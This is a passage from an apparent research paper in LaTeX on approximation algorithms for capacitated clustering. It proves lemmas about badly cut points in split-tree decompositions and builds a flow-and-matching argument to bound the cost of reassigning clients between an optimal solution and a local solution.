ball $B(u, x)$ is cut at level $i$ is
$O(d \cdot x/2^i)$.
\end{enumerate}
Condition~\ref{cond:rand} is a direct corollary of the definition of
the decomposition and not stated precisely like this in~\cite{Talwar04}
but is fairly standard, see \textit{e.g., } \cite{Cohen-Addad18} for a proof.
For any point $c$,
for any ring $j$ of $c$, we say that it suffers a
\emph{bad cut} if the ball $B(c,2^j)$ is cut at a level $i$
higher than $\log(d (\log n/(\eps/(p+1))^{5p})) + j$,
namely $2^i > d (\log n/(\eps/(p+1))^{5p}) 2^j$.
We have:
\begin{lemma}
\label{lem:ring:badcut}
The probability that a ring $j$ suffers a bad
cut is at most $O((\eps/(p+1))^{5p}/\log n)$.
\end{lemma}
\begin{proof}
This follows from Condition~\ref{cond:rand};
the probability to be cut at level
$d (\log n/(\eps/(p+1))^{5p}) 2^j 2^i$
is $O((\eps/(p+1))^{5p}/(2^i\log n))$.
Taking a union bound over all
levels higher than $d (\log n/(\eps/(p+1))^{5p}) 2^j$,
yields that the total probability of suffering a
bad cut is at most $O((\eps/(p+1))^{5p}/\log n) \sum_{i = 1}^{O(\log n)} 1/2^i$
and so at most
$O((\eps/(p+1))^{5p}/\log n)$.
\end{proof}
\section{Split-tree Decompositions of Clustering Inputs}
\label{sec:badly}
We apply a split-tree decomposition to our inputs for
the capacitated clustering problem.
Let $L$ be a solution to the problem and $\text{OPT}$
denote an optimal solution. Let $\mathcal{C}$ be the set of clients.
For each point $c \in L \cup \text{OPT} \cup \mathcal{C}$, we say that $c$
is \emph{badly cut} if at least one of its rings suffers a bad cut.
\begin{lemma}
\label{lem:badlycut}
For a given point $c \in L \cup \text{OPT} \cup \mathcal{C}$,
the probability that $c$ is badly cut is $O((\eps/(p+1))^{5p})$.
\end{lemma}
\begin{proof}
The proof simply follows from the fact that the number
of rings is $O(\log n)$ and by taking a union bound
on the probability of each ring suffering a bad cut.
By
Lemma~\ref{lem:ring:badcut} each ring suffers a bad cut with
probability $O((\eps/(p+1))^{5p}/\log n)$.
\end{proof}
Given a split-tree decomposition $\mathcal{D}$, and a solution $L$
we modify the instance as follows.
Any client $c$ that is badly cut is ``moved'' to the facility $L(c)$
that serves it in solution $L$. Namely, we consider the instance where
there is no demand at $c$ and the demand at $c$ is moved to $L$.
Any facility of $L$ that is badly cut is forced to be part of the
a solution. We say that a solution, namely a set of centers $S$
and a mapping $\mu$, is \emph{valid} if it contains
all the badly cut facilities of $L$ and that all the clients
served by a badly cut facility $\ell$ in $L$ are mapped to $\ell$ in
$\mu$.
We denote the instance defined by $\mathcal{D}$ as $\mathcal{I}_{\mathcal{D}}$. We
denote by $\text{cost}_{\mathcal{I}_{\mathcal{D}}}(S)$ the cost of a solution $S$ in
instance $\mathcal{I}_{\mathcal{D}}$.
We let
$\nu_{\mathcal{I}_{\mathcal{D}}} =
\max_{\text{ solution }S} \max(\text{cost}(S) - (1+3\varepsilon)\text{cost}_{\mathcal{I}_{\mathcal{D}}}(S),
(1-3\varepsilon)\text{cost}_{\mathcal{I}_{\mathcal{D}}}(S) - \text{cost}(S))$.
This can be seen as how much a solution is ``distorted'' in the
instance $\mathcal{I}_{\mathcal{D}}$.
We say that an instance $\mathcal{I}_{\mathcal{D}}$ is \emph{good} if the following
conditions hold:
\begin{itemize}
\item $\nu_{\mathcal{I}_{\mathcal{D}}} = O(\varepsilon \cdot \text{cost}(L))$
\item There exists a valid solution $\widehat{\mathcal{G}}$
such that $\text{cost}(\widehat{\mathcal{G}}) \le
(1+O(\varepsilon))\text{cost}(\text{OPT}) + O(\varepsilon\text{cost}(L))$.
\end{itemize}
We show the following lemma.
\begin{lemma}
\label{lem:valid}
Given a randomized split-tree decomposition $\mathcal{D}$, the probability
that $\mathcal{I}_{\mathcal{D}}$ is good is at least $1-\varepsilon$.
\end{lemma}
\begin{proof}
We first bound the probability that
$\nu_{\mathcal{I}_{\mathcal{D}}} \le O(\varepsilon \cdot \text{cost}(L))$.
By definition, we have that
for any solution $S$,
\begin{align*}
\text{cost}(S) - \text{cost}_{\mathcal{I}_{\mathcal{D}}}(S) &\le
\sum_{\text{badly cut client } c} \text{dist}(c,S)^p - \text{dist}(S,L(c)))^p\\
&\le \sum_{\text{badly cut client } c}
(1+3\varepsilon)\text{dist}(S,L(c))^p+ \frac{\text{dist}(c,L(c))^p }{(\varepsilon/(p+1))^p} -
\text{dist}(S,L(c))^p\\
&\le \sum_{\text{badly cut client } c} 3\varepsilon \cdot \text{dist}(S,L(c))^p +
\frac{\text{dist}(c,L(c))^p }{(\varepsilon/(p+1))^p}
\end{align*}
Where we have used Lemma~\ref{sometriangleineq} to go from the first to second line.
Thus,
\begin{equation}
\label{eq:onedir}
\text{cost}(S) - (1+3\varepsilon) \text{cost}_{\mathcal{I}_{\mathcal{D}}}(S)
\le \sum_{\text{badly cut client } c}\frac{\text{dist}(c,L(c))^p }{(\varepsilon/(p+1))^p}
\end{equation}
Similarly, we have that
\begin{align*}
\text{cost}_{\mathcal{I}_{\mathcal{D}}}(S)- \text{cost}(S) &\le
\sum_{\text{badly cut client } c} \text{dist}(S,L(c)))^p - \text{dist}(c,S)^p\\
&\le \sum_{\text{badly cut client } c} (1+3\varepsilon) \text{dist}(c,S)^p
+ \frac{\text{dist}(c,L(c))^p}{(\varepsilon/(p+1))^p} - \text{dist}(c,S)^p\\
&\le \sum_{\text{badly cut client } c} 3\varepsilon \cdot \text{dist}(c,S)^p +
\frac{\text{dist}(c,L(c))^p}{(\varepsilon/(p+1))^p}
\end{align*}
and so,
\begin{equation}
\label{eq:otherdir}
(1-3\varepsilon)\text{cost}_{\mathcal{I}_{\mathcal{D}}}(S)- \text{cost}(S) \le
\sum_{\text{badly cut client } c} \frac{\text{dist}(c,L(c))^p}{(\varepsilon/(p+1))^p}
\end{equation}
Now, observe that the right hand side of both Equations~\ref{eq:onedir}
and~\ref{eq:otherdir} does not depend on $S$.
Therefore, the expected value of $\nu_{\mathcal{I}_{\mathcal{D}}}$ is
$$
E[\nu_{\mathcal{I}_{\mathcal{D}}}] \le \sum_{c} Pr[c \text{ badly cut}] \cdot
\frac{\text{dist}(c,L(c))^p}{(\varepsilon/(p+1))^p} \le
O(\varepsilon^5 \text{cost}(L)),
$$
where we have used Lemma~\ref{lem:badlycut}.
We now apply Markov's inequality and obtain
that $\mathcal{I}_{\mathcal{D}}$ satisfies the first condition with probability
at least $1-\varepsilon/3$. Let $\mathcal{E}_{\nu}$ be the event that
$\mathcal{I}_{\mathcal{D}}$ satisfies the first condition.
We now show that there exists a valid solution $\widehat{\mathcal{G}}$
such that $\text{cost}(\widehat{\mathcal{G}}) \le (1+O(\varepsilon)) \text{cost}(\text{OPT}) +
O(\varepsilon \cdot \text{cost}(L))$.
Consider an optimal solution $\text{OPT}$ and
apply Proposition~\ref{prop:main} to $\text{OPT}$ and $L$.
We let $\hat{L}$, $\tilde{L}$, $\hat{F}$, $\tilde{F}$ as defined by the
proposition.
We let $\mathcal{E}_1$ be the event that there are at most
$\varepsilon^3 |\hat{L}|$ facilities of $\hat{L}$ that are badly cut.
We have that by Lemma~\ref{lem:badlycut} the expected
number of badly cut facilities in $\hat{L}$ is at most
$\varepsilon^5|\hat{L}|$.
Applying Markov's inequality we have
that $\mathcal{E}_1$ holds with probability at least
$1-\varepsilon/3$.
Condition on event $\mathcal{E}_1$ happening.
Consider $\mathcal{G}^{*}$ as defined per Property~\ref{mainprop1} of the
proposition. This solution contains $k - \Omega(\varepsilon \cdot |\hat{L}|)$.
Thus, let $T$ be the temporary solution defined as $\mathcal{G}^{*}$
plus de badly cut facilities of $\hat{L}$. Since we condition on
event $\mathcal{E}_1$ happening, we have that $T$ has at most
$k$ centers. Hence, $T$ has at most $k$ centers with probability
at least $1-\varepsilon/3$.
We finally make use Property~\ref{mainprop2} of the proposition
to incorporate the remaining badly cut facilities of $L$, \textit{i.e., }
the badly cut facilites of $\tilde{L}$. We apply Property~\ref{mainprop2}
to our random procedure for defining badly cut facilities in
$\tilde{L}$. This shows that there exists a
solution $\widehat{\mathcal{G}}$ such that
$\text{cost}(\widehat{\mathcal{G}}) \le (1+O(\varepsilon)) \text{cost}(\text{OPT}) +
O(\varepsilon \cdot \text{cost}(L))$, with probability at least
$1-\varepsilon/3$.
Taking a union bound over the probability that $\mathcal{E}_{\nu}$
and $\mathcal{E}_1$ do not happen yields the lemma.
\end{proof}
\section{Structural Result}
\label{sec:struct}
Let $\text{OPT}$ be the optimal solution and $L$ be any solution.
Define the \emph{charge} of a facility $f$ in a solution $S$
to be the total number of client assigned to $f$ in $S$.
\begin{proposition}
\label{prop:main}
Let $1/2 > \varepsilon > 0$ be a fixed constant.
Let $\text{OPT}$ be the optimal solution and $L$ be any solution,
there exists a partition of $\text{OPT}$ into two sets $\tilde{F},\hat{F}$ and a partition
of $L$ into two sets $\tilde{L},\hat{L}$ such that
\begin{enumerate}
\item $|\hat{L}| = |\hat{F}|$, and so $|\tilde{L}| = |\tilde{F}|$.
\item\label{mainprop1} There exists $\hat{F}^* \subseteq \hat{F}$ of size at least
$\varepsilon |\hat{F}|/3$ such that the set $\mathcal{G}^* = \text{OPT} - \hat{F}$ is
a solution of cost at most $\text{cost}(\text{OPT}) +
O(\varepsilon (\text{cost}(\text{OPT}) + \text{cost}(L)))$.
\item\label{mainprop2} There exists a 1-to-1 mapping $\phi: \tilde{F} \mapsto \tilde{L}$
that satisfies the following. Consider any random procedure such that each facility
of $\tilde{F}$ is selected with probability $\pi^2$, and let $\tilde{F}^*$ be the set of selected facilities
and $\tilde{L}^* = \bigcup_{f \in \tilde{F}^*} \phi(f)$.
Then, with probability at least $1-\pi$, the solution $\mathcal{G} = \mathcal{G}^* - \tilde{F}^* \cup \tilde{L}^*$ and where
each client served by a facility $\ell \in \tilde{L}^*$ in solution $L$ is served by $\ell$ in solution $\mathcal{G}$,
has cost at most $$\text{cost}(\text{OPT}) + O(\pi (\text{cost}(\text{OPT}) + \text{cost}(L)))$$
\end{enumerate}
\end{proposition}
We consider the following bipartite graph $\Phi = (A,B, E)$ with
both capacities and costs (or weights) on the edges defined as follows.
The set $A$ contains one vertex for each facility of $\text{OPT}$ plus a special
vertex $t$.
The set $B$ contains one vertex for each facility of $L$ plus a special
vertex $s$. We slightly abuse
notation and call the vertex representing facility $f$ by $f$ as well.
The set of edges is as follows: for each facility $f \in \text{OPT}$ and $\ell \in L$,
for each client $c$ that is served by $f$ in $\text{OPT}$ and $\ell$ in $L$, add a
directed edge $e$
from $f$ to $\ell$ in $\Phi$. We refer to $e$ as the edge corresponding to client $c$.
The capacity of the edge is $2$ and the
cost of the edge is $\text{dist}(c, f) + \text{dist}(c,\ell) = g_c + \ell_c$. Note that this may create
parallel edges -- parallel edges are kept in $\Phi$.
Furthermore, for each vertex of $f \in A - \{t\}$,
we add $\lfloor \eta/2 \rfloor $ directed edges from $s$ to $f$ each with capacity 2 and cost 0.
Finally, from each vertex
of $\ell \in B - \{s\}$, we add $\lfloor \eta/2 \rfloor$ edges directed from $f$ to $t$
each with capacity 2 and cost 0.
\paragraph{Preprocessing step when $\eta$ is not a multiple of 2}
We now apply a preprocessing step for the case when $\eta$ is not a
multiple of 2. We assign a fractional weight of $1/\eta$ to each edge
that connect a vertex of $A-\{t\}$ to a vertex of $B - \{s\}$ of
$\Phi$. This defines a matching over the vertices of $A-\{t\} \cup B - \{s\}$ that
have initial degree $\eta$. In other words, each vertex of $A-\{t\}\cup B - \{s\}$
that serves $\eta$ clients, is such that the total weight of the edges adjacent to
it is 1. Therefore, there exists an integral matching of these vertices. Consider
such a matching and delete the edge of the matching. We refer to the clients
corresponding to the deleted edge by the \emph{deleted} clients.
The degree of each vertex after the preprocessing step differs by at most 1 from
the original degree.
\bigskip
In the remaining, we let $\eta' = \eta-1$ if $\eta$ is not a multiple of 2, and
$\eta' = \eta$ otherwise. Hence $\eta'$ is a multiple of 2.
For each facility $f \in A - \{t\}$,
we denote by $\eta(f)$ the outgoing degree of $f$ after the preprocessing step and
for each $f \in B - \{s\}$, we denote by $\eta(f)$ the incoming degree of $f$ after
the preprocessing step.
We put a demand of $2\lfloor \eta(f)/2 \rfloor$ on each vertex of $f \in A-\{t\}$ and a demand
of $2\lfloor \eta(f)/2 \rfloor$ on each vertex of $f \in B-\{s\}$.
\begin{lemma}
\label{Lemma:maxflow}
There exists a flow $\mathcal{F}_0$ in $\Phi$ from $s$ to $t$ of cost
at most $\text{cost}(L) + \text{cost}(\text{OPT})$ and that satisfies:
\begin{itemize}
\item \textbf{Integrality:} each edge between $A-\{t\}$ and $B-\{s\}$ receives a flow of either 0 or 2.
\item \textbf{Demand:} each vertex $f \in A-\{t\}$ receives a flow of at least $2 \lfloor \eta(f)/2 \rfloor$;
each vertex $f \in B-\{s\}$ receives a flow of at least $2 \lfloor \eta(f)/2 \rfloor$.
\end{itemize}
\end{lemma}
\begin{proof}
We will show the following claim:
\begin{claim}
\label{claim:preproc}
There exists a flow that satisfies the demand constraint and the capacities
of the edges, but that does not necessarily satisfy the integrality constraint.
\end{claim}
Then, assuming Claim~\ref{claim:preproc} the lemma follows:
Classic results (\textit{e.g., } \cite{matchingtheory}) on the integrality of flows show that
if the edges all have capacities 2 and if there exists a flow that satisfies
the demand and capacity constraints, then there is
a flow that sends either a flow of 0 or
a flow of 2 in each edge and that satisfies the demand constraint.
Thus, we turn to the proof of Claim~\ref{claim:preproc}
Consider sending a flow from $s$ to each vertex $f$ of $A - \{t\}$
of a value $2 \lfloor \eta(f)/2 \rfloor$.
Since the total capacity from $s$ to $f$ is $2 \lfloor \eta(f)/2 \rfloor$
this is possible and the current
cost of the flow is 0.
Now, consider for each non-deleted client $c$ served by $f$ in $\text{OPT}$, to
send a flow of $1$ from $f$
to the facility of $L$ that serves it in solution $L$.
This corresponds to sending a flow of 1 through the edge corresponding to client $c$.
By the definition of the graph, for each such client $c$ there exists
an edge with capacity 2 between the two facilities. This ensures that the
demand at each facility $f \in A-\{t\}$ is met.
Finally, observe that each vertex $f$ of $B - \{s\}$ receives a flow
that corresponds to the number of non-deleted clients served by the center in
solution $L$.
Thus, it is possible to complete the assignment by sending the flow arriving
in each vertex $f$ of $B - \{s\}$ to $t$ using the edge of capacity
$2 \lfloor \eta(f)/2 \rfloor$ and cost 0 and the demand at $f$ is met.
\end{proof}
Let $\mathcal{F}$ denote a maximal integral flow satisfying the
demand and integrality constraints, as per Lemma~\ref{Lemma:maxflow}.
We say that a facility is \emph{saturated} if the total flow it receives is $\eta'$.
We say that an edge is $\mathcal{F}$-\emph{saturated} if the total flow
in the flow $\mathcal{F}$ that goes through the edge is 2.
\begin{lemma}
The cost of $\mathcal{F}$ is at most $2(\text{cost}(L) + \text{cost}(\text{OPT}))$.
\end{lemma}
\begin{proof}
This follows from the fact that when all the edges of the graph are saturated
the total cost is $2(\text{cost}(L) + \text{cost}(\text{OPT}))$.
\end{proof}
\newcommand{\eta'}{\eta'}
We now define $U$ to be the set of facilities of $A$ such that
$\eta(f) \ge \eta'/2$,
\textit{i.e., } $U = \{f \mid f \in A, \eta(f) \ge \eta'/2 \}$. We will refer tu
the facilites of $U$ as \emph{heavy} facilities.
Let $\Lambda$ be the set of facilities of $U$ whose corresponding
vertices in $\Phi$ that are saturated by
flow $\mathcal{F}$. Define $\bar{\Lambda} = A - \{t\} - \Lambda$.
Let $\zeta$ be the set of facilities of $B - \{s\}$ that are saturated
by flow $\mathcal{F}$. Define $\bar{\zeta} = B- \{s\} - \zeta$.
We now aim at matching vertices of $\Lambda$ and $\zeta$ to vertices
of $B - \{s\}$ and $A - \{t\}$ respectively.
We will make use of the following classic theorem (see \textit{e.g., }~\cite{matchingtheory}).
\begin{theorem}[\cite{matchingtheory}]
\label{thm:matchingtheory}
Let $G = (A,B,E)$ be a bipartite matching with edge weights $w : E \mapsto \R_+$.
Let $M_0 : E \mapsto [0,1]$ be a fractional matching of weight $W = \sum_e M_0(e) \cdot w(e)$.
There exists an integral matching $M_1 : E \mapsto \{0,1\}$ that satisfies:
\begin{itemize}
\item Each vertex $u \in A \cup B$ such that $\sum_{(u,v) \in E} M_0((u,v)) =1$ is matched in $M_1$, \textit{i.e., }
$\exists (u,v) \in E$ s.t. $M_1((u,v)) = 1$, and;
\item The weight of $M_1$ is at most $W$, \textit{i.e., } $\sum_{e \in E } M_1(e) \cdot w(e) \le W$, and;
\item $M_1((u,v)) = 1 \implies M_0((u,v)) \neq 0$.
\end{itemize}
\end{theorem}
Consider rescaling the amount of flow $\mathcal{F}$ sent through each edge by a factor
$1/\eta'$
and denote by $\mathcal{M}_0$ the underlying flow. Seeing $\mathcal{M}_0$ as a matching
of weight at most $2(\text{OPT} + \text{cost}(L))/\eta'$
we have the following application of Theorem~\ref{thm:matchingtheory}:
\begin{cor}
\label{cor:matchingcost}
There exists an integral matching $\mathcal{M}$ in $\Phi$ that satisfies:
\begin{enumerate}
\item Each facility of $\Lambda$ is matched to a facility
of $B - \{s\}$, and;
\item Each facility of $\zeta$ is matched to a facility
of $A - \{t\}$, and;
\item The weight of the matching is at most $2(\text{cost}(\text{OPT}) + \text{cost}(L))/\eta'$, and;
\item \label{cor:cst:pos} If a facility $f$ is matched to a facility $\ell$, then it must
be that the flow $\mathcal{F}$ going from $f$ to $\ell$ is positive.
\end{enumerate}
\end{cor}
We define $\mathcal{M}_A$ to be the set of vertices of $A - \{t\}$ that
are matched and $\mathcal{M}_B$ the set of vertices of $B - \{s\}$ that are
matched. Note that $\Lambda \subseteq \mathcal{M}_A$ and $\zeta \subseteq \mathcal{M}_B$.
Consider a facility $\ell \in \mathcal{M}_B$, we define the following mapping.
Let $f(\ell)$
be the facility of $A$ that is matched to $\ell$ in $\mathcal{M}$.
We now consider each pair of matched vertices $\ell, f(\ell)$ and define a function $p$ that
maps each edge incoming to $\ell$ to either an edge outgoing of $f(\ell)$ or to $f(\ell)$
directly.
For each vertex $\ell \in \mathcal{M}_B$, define $t(\ell)$ and $\bar{t}(\ell)$ to be respectively the numbers of
non-$\mathcal{F}$-saturated and $\mathcal{F}$-saturated edges ingoing to $\ell$ and not originating
from $f(\ell)$. For each vertex
$f \in \mathcal{M}_A$ define $s(f)$ and $\bar{s}(f)$ to be respectively the numbers of non-$\mathcal{F}$-saturated and $\mathcal{F}$-saturated
edges outgoing from $f$ and not going to $\ell$.
The mapping $p$ is defined as follows. Consider a pair of matched vertices $\ell,f(\ell)$.
\begin{enumerate}
\item If $t(\ell) > s(f(\ell))$, choose an arbitrary subset of size $s(f(\ell))$ among the non-$\mathcal{F}$-saturated
edges incoming to $\ell$ and define a one-to-one mapping from these edges to the edges in $s(f(\ell))$.
For the $t(\ell) - s(f(\ell))$ remaining edges, map them to $f(\ell)$. This defines the mapping $p$ for the
non-$\mathcal{F}$-saturated edges incoming to $\ell$ for the case ($t(\ell) > s(f(\ell))$).
Otherwise, when $t(\ell) \le s(f(\ell))$, simply define an arbitrary injective function from the non-$\mathcal{F}$-saturated
edges incoming to $\ell$ to the non-$\mathcal{F}$-saturated edges outgoing from $f(\ell)$.
\item Proceed similarly with the $\mathcal{F}$-saturated edges that are incoming to $\ell$ and outgoing from $f(\ell)$.
\end{enumerate}
We now consider vertices of $A - \mathcal{M}_A-\{t\}$. For each such vertex $f$, for each edge $e$ outgoing
from $f$, we define $S(e)$ to be the sequence obtained by recursively applying the mapping $p$
(\textit{i.e., } $S(e) = e, p(e), p(p(e)), \ldots,$) until we can't apply $p$ again, namely
either we reach an edge $e'$ such that $p(e') = f'$ where $f' \in \mathcal{M}_A$, or we reach an edge $e' = (f',\ell')$
where $\ell' \in B - \mathcal{M}_B - \{s\}$.
Let $\mathcal{S}$ be the set of all the sequences defined above.
We have the following lemma.
\begin{lemma}
\label{lem:noinfinite}
For each sequence $S(e) \in \mathcal{S}$, we have that
each edge of the graph appears at most once in $S(e)$ and so, $S(e)$ is finite.
Moreover, for each edge $e'$ of the graph, there is at most one sequence in $\mathcal{S}$ containing $e'$.
\end{lemma}
\begin{proof}
We first argue that $S(e)$ is finite.
Let $e = (f,\ell)$ with $f \in A - \mathcal{M}_A - \{t\}$.
Recall that $p$ maps the edges adjacent to a facility $\ell \in \mathcal{M}_B$ and not coming from $f(\ell)$ either
to a facility $f(\ell)$ in which case, the sequence stops, or
is an injective mapping to the edges outgoing from $f(\ell)$ and not going to $\ell$.
Furthermore, observe that for any edge $(f^j,\ell^j)$ of the sequence, $p((f^j,\ell^j))$ is an edge
which starts at a matched vertex. Therefore, except for the first edge $e$, no edge of the sequence
is adajcent to $f$ since $f$ is unmatched, \textit{i.e., } no edge in the sequence $p(e),p(p(e)),\ldots$ is adjacent to $f$.
Assume towards contradiction that there is an edge that appears twice in the sequence
and consider the first one in the order of the sequence.
Let $(v_i,u_i)$ be this edge. By the above argument, we have that $v_i \neq f$ since otherwise there
would be an edge in the subsequence $p(e),p(p(e)),\ldots$ that is adjacent to $f$.
Thus, we have $v_i \neq f$, and so $p^{-1}((v_i,u_i))$ is also twice in the sequence since $p$ is injective on the edges.
This is a contradiction since $(v_i,u_i)$ is the first
one of the sequence, it follows that $S(e)$ is finite.
Finally, since for any $S((f,\ell)) \in \mathcal{F}$, we have that $f$ is an unmatched vertex, the edge $(f,\ell)$
cannot appear in another sequence $S(e) \in \mathcal{F}$. Thus applying the same reasonning as above, an edge cannot
appear in two different sequences.
\end{proof}
We now distinguish two types of sequences. We say that an edge $e$ is a \emph{route-to-matched} if the
sequence $S(e)$ stops at a vertex $f \in \mathcal{M}_A$, and a \emph{route-to-unmatched} if the sequence
$S(e)$ stops at a vertex $\ell \in B - \mathcal{M}_B - \{s\}$.
We have the following lemma.
\begin{lemma}
\label{cl:onlysaturated}
Consider a facility $f \in A-\mathcal{M}_A-\{t\}$ and such that
$\eta(f) \ge \eta'/2$.
The number of edges $e$ adjacent to $f$
and such that $S(e)$ is a route-to-unmatched sequence
is at most $\eta'/2 -1$
\end{lemma}
\begin{proof}
Since $f$ is unmatched,
we have that the total flow going through $f$ in $\mathcal{F}$ is at most $\eta'$.
Thus, there are at most $\eta'/2-1$ edges that adjacent
to $f$ and that are $\mathcal{F}$-saturated.
We will show that for each edge $e$ adjancent to $f$ such that $S(e)$ is a route-to-unmatched
sequence, we have that $e$ is $\mathcal{F}$-saturated.
Now, suppose towards contradiction that there exists an edge $e$ such that $S(e)$ is a route-to-unmatched sequence
that is not-$\mathcal{F}$-saturated and consider the
path induced by the sequence $S(e)$. By Lemma~\ref{lem:noinfinite}, this sequence is finite and so
let $(f_j,\ell_j)$ be the last edge of the sequence. Since $S(e)$ is a route-to-unmatched,
$\ell_j$ is unmatched.
Since we have that $e$ is not-$\mathcal{F}$-saturated and by definition of $p$, a direct induction
shows that all the edges in the sequence $S(e)$ are not-$\mathcal{F}$-saturated, and so these are all
edges with positive capacities in the residual graph $\Phi^{\mathcal{F}}$. Moreover, observe that
for each matched pair $\ell_x,f(\ell_x)$, Corollary~\ref{cor:matchingcost}, Property~\ref{cor:cst:pos}
implies that there are at least 2 units of flow going from $f(\ell_x)$ to $\ell_x$ in $\mathcal{F}$. This induces
an edge with positive capacity from $\ell_x$ to $f(\ell_x)$ in $\Phi^{\mathcal{F}}$.
Thus, consider the subgraph of $\Phi^{\mathcal{F}}$ induced by the edges of $S(e)$ and the edges between matched
pairs $\ell_x,f(\ell_x)$ and consider a simple path from $f$ to $\ell_j$ in this graph. This path uses each
edge at most once and so it is possible to route at least one unit of flow through this path without violating
the capacities of the edges of the path.
Furthermore, $\ell_j$ and $f$ are not matched
and so there is at least one edge with positive capacity from $\ell_j$ to $t$ and an edge with positive capacity
from $s$ to $f$ in $\Phi^{\mathcal{F}}$. Therefore there is a path with positive capacity from $s$ to $t$ in $\Phi^{\mathcal{F}}$.
Furthermore, observe that routing a unit of flow through this path can only increase the flow going through
any of the vertices of the graph. Thus,
there is a flow with higher value which satisfies the demand constraints, a contradiction to the maximality of $\mathcal{F}$
that concludes the proof.
\end{proof}
\paragraph{Assignment $\mu$}
For each facility $f \in U - \mathcal{M}_A$, namely an unmatched heavy facility, consider the edges $e=(f,\ell)$
such that
$S(e)$ is a route-to-matched sequence. For the client $c$ associated with edge $e$, we let $\mu(c)$ map to the matched
vertex of $\mathcal{M}_A$ that terminates the sequence $S(e)$. Let $\mathcal{C}_1$ be the set of these clients.
For clients in $\mathcal{C}- \mathcal{C}_1$ (including deleted clients), we les $\mu(c)$ be the facility that
serves it in $\text{OPT}$.
\paragraph{Sequences to paths}
For each facility $f \in U - \mathcal{M}_A$, namely an unmatched heavy facility, consider the edges $e=(f,\ell)$.
For each such edge $e$, we define the \emph{path associated to sequence $S(e)$} as follows. The first edge
of the path is $(f,\ell)$, the second edge of the path is $(\ell,f(\ell))$, the third edge of the path
is $p(e) = (f(\ell), \ell_1)$. For $i>1$, the $2i$-th and $2i+1$-st edges of the path are
edges $(f(\ell_{i-1}),\ell_i)$ and $(\ell_i,f(\ell_i))$. If there are multiple edges $(\ell_i,f(\ell_i))$, the one
with smallest weight is chosen. We let $\mathcal{P}(e)$ denote the path associated to edge $S(e)$.
By the triangle inequality, the length of the path is simply the sum of the weights of the edges.
We show the following lemma, which will be used in two different ways:
\begin{enumerate}
\item to bound the cost of reassigning a client whose corresponding edge is a route-to-matched client
to the facility of $\mathcal{M}_A$ at the end of the sequence;
\item to bound the cost of reassigning a client whose corresponding edge is a route-to-unmatched client
to the facility of $B - \mathcal{M}_B$ at the end of the sequence.
\end{enumerate}
\begin{lemma}
\label{lem:path}
The sum over all facility $f \in U - \mathcal{M}_A$, of the sum over all edges $e=(f,\ell)$ of the length
of the paths associated to $S(e)$ is at most $4(\text{cost}(\text{OPT}) + \text{cost}(L))$.
In other words,
$$
\sum_{f \in U - \mathcal{M}_A} \sum_{e = (f,\ell)} \text{length}(\mathcal{P}(e)) \le 4(\text{cost}(\text{OPT}) + \text{cost}(L)).
$$
\end{lemma}
\begin{proof}
Observe that the by Lemma~\ref{lem:noinfinite}, the paths are edge disjoint, except for the edges of the path
that are connecting two vertices that are matched together (namely, the even edges of the path).
More concretely, in the path $ e=(f,\ell), \text{dist}(\ell,f(\ell)), p(e) = (f(\ell),\ell_1), \text{dist}(\ell_1,f(\ell_1)),\ldots $ associated to
sequence $S(e)$, the edges $(f,\ell)$, $p((f,\ell))$, $p(p((f,\ell)))$, $\ldots$ appear in at most one sequence.
Thus, the sum over all sequences of the edges that are not connecting two matched vertices is bounded by the total
sum of edge weights of the graph and so at most $(\text{cost}(\text{OPT})+ \text{cost}(L))$.
We now bound the number of times $\text{dist}(\ell,f(\ell))$ is going to appear in the sum of the lengths of the paths of all the sequences.
We first observe that the number
of paths in which this edge appears is bounded by the incoming degree of $\ell$ which corresponds to the number of clients
served by $\ell$ in $L$ and so at most $\eta'$. Thus, we have that $\text{dist}(\ell,f(\ell))$ appears at most $\eta'$ times
in the sum.
Finally, Corollary~\ref{cor:matchingcost}, Property~\ref{cor:cst:pos}, combined with the triangle inequality shows that
$\sum_{\ell \in \mathcal{M}_B} \text{dist}(\ell,f(\ell)) \le \sum_{\ell \in \mathcal{M}_B} w(e((\ell,f(\ell))) \le
2(\text{cost}(\text{OPT})+ \text{cost}(L))/\eta'$, where $e((\ell,f(\ell))$ is the edge matching $\ell$ to $f(\ell)$
and $w$ its weight. Thus, since $\text{dist}(\ell,f(\ell))$ appears at most $\eta'$ times for each matched pair $\ell,f(\ell)$,
we have that the total cost induced by these edges is at most $2(\text{cost}(\text{OPT})+\text{cost}(L))$.
\end{proof}
\paragraph{Remark on the case $p>1$.}
For any objective where the cost of assigning client $c$ to facility $f$ is $\text{dist}(c,f)^p$, for $p>1$,
Lemma~\ref{lem:path} does not allow to relate the cost of assigning a client $c$ to the facility that
is at the end of path of the sequence $S(e)$ where $e$ is the edge corresponding to client $c$.
Indeed, for example for $p=2$, the cost for a client in $\mathcal{C}_1$ is going to be the square of the
sum of the weights of the edges in the path and this cannot be related to the cost of the optimal solution and
the cost of the local solution
directly since the solutions pays the sum of the lengths squared (instead of the square of the sum of the lengths).
The way to handle this is to modify the definition of the length of a path associated to $S(e)$.
Consider first a route-to-matched sequence
$S(e)= e, p(e), p(p(e)), \ldots$ and let $e=(f,\ell), p(e) = (f(\ell),\ell_1), p^i(e) = (f(\ell_{i-1}),\ell_i)$, for $i>1$.
Let $f(\ell_{s-1})$ be the matched vertex that terminates the sequence.
We define the length of the path associated to $S(e)$ as
$$\text{length}(\mathcal{P}(e)) = (\text{dist}(f,\ell)+\text{dist}(\ell,f(\ell))^p + \sum_i (\text{dist}(f(\ell_{i-1}),\ell_i) + \text{dist}(\ell_i,f(\ell_i)))^p.$$
Observe that $(a + b)^p \le 2^{p}(a^p + b^p)$ and so we have that
$$\text{length}(\mathcal{P}(e)) \le 2^p(\text{dist}(f,\ell)^p+\text{dist}(\ell,f(\ell))^p + \sum_i (\text{dist}(f(\ell_{i-1}),\ell_i)^p + \text{dist}(\ell_i,f(\ell_i))^p).$$
Now recall that for each edge of the graph $(f',\ell')$, the weight is given by $\text{dist}(c,f')^p + \text{dist}(c,\ell')^p$ where $c$ is the client
associated to the edge. Thus we have that $\text{dist}(f',\ell')^p \le 2^p(\text{dist}(c,f')^p + \text{dist}(c,\ell')^p)$.
Therefore, mimicking the proof of Lemma~\ref{lem:path}, we have that
$$ \sum_{f \in U - \mathcal{M}_A} \sum_{e = (f,\ell)} \text{length}(\mathcal{P}(e)) \le 2^{O(p)} (\text{cost}(\text{OPT}) + \text{cost}(L)).$$
Now, the length of a path $\mathcal{P}(e)$ does not correspond to the cost of assigning of the client $c$ associated to edge $e$ to
the facility at the end of the path. Instead, it corresponds to the cost of assigning $c$ to $f(\ell)$ plus the cost of assigning
